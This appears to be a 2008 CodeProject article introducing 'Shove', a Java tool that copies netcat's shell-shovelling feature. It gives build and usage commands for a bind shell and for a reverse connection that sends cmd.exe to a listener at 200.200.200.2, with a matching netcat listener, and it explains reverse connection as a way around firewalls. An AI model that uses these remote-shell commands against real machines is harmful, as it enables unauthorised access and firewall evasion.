|
||||||||||||||||||
|
||||||||||||||||||
|
Announcements
Chapters
Services
Feature Zones
|
Note: This is an unedited contribution. If this article is inappropriate,
needs attention or copies someone else's work without reference then please
Report This Article
DISCLAIMERThis Tool was not designed for Malicious Intent. By Using this tool you agree and acknowledge the author (me) does not hold any responsibilty for it's use. This Tool comes with ABSOLUTELY NO WARRANTY. Use at your Own Risk... IntroductionThe Article discusses The Working of an application Shoveller...The Program is called "Shove" and it emulates a netCat (nc.exe) feature called a "Shell Shoveler". Allows a User to Access the Command Prompt (or any console application) of a Remote Machine. BackgroundThe Following Code also Uses I/O Streams, Sockets, Binding Ports, and The Reverse Connect Back Method...The Reader is Assumed to know what they mean. How to Buildjavac interfaceShove.java StreamShovel.java ShoveWrap.java Shove.java How to Use ShoveUnless you make a jar file...you have to run shove by the following (make sure all "class" files are in same dir) usage: Shove [-pPORT] [-aAPPLICATION] [-hREMOTEHOST] 1) Bind Shellc:\[DIR]>java -classpath . Shove //runs in default config (bindshell 7978) c:\[DIR]>java -classpath . Shove -p53 //(bindshell 53) 2) Reverse Connectc:\[DIR]>java -classpath . Shove -p90 -acmd.exe -h200.200.200.2 //repeatedly connects to 200.200.200.2 at port 90. if success shovels a shell //on your machine "nc -l -p90" Why Reverse Connect Method?The Reverse Connect Method is Used to Circumvent Firewalls, NAT Traversal, etc. Since Our Incoming Attempts to connect to the host will fail in case of a firewall, we ask the host to connect to us (since the firewall "should" allow outgoing connections). It's Usually used in Exploits. But, For shove it has to be manually set up. So you don't need to add new Rules to your Firewall and compromise. How it Works?For Every Process there are 3 Streams Points of InterestThe Utility is Inspired from a Single Feature of NetCat (by Hobbit) - The Swiss Army Knife of Networking. Author's NotesNow, java programs are supposed to be platform independent,but I don't have Access to another OS to test it out, but i'm curious to whether it will work on any other OS. So I request people of CP to test it out and post their feedback. HistoryOriginal Draft : 2 March 2008
|
|||||||||||||||||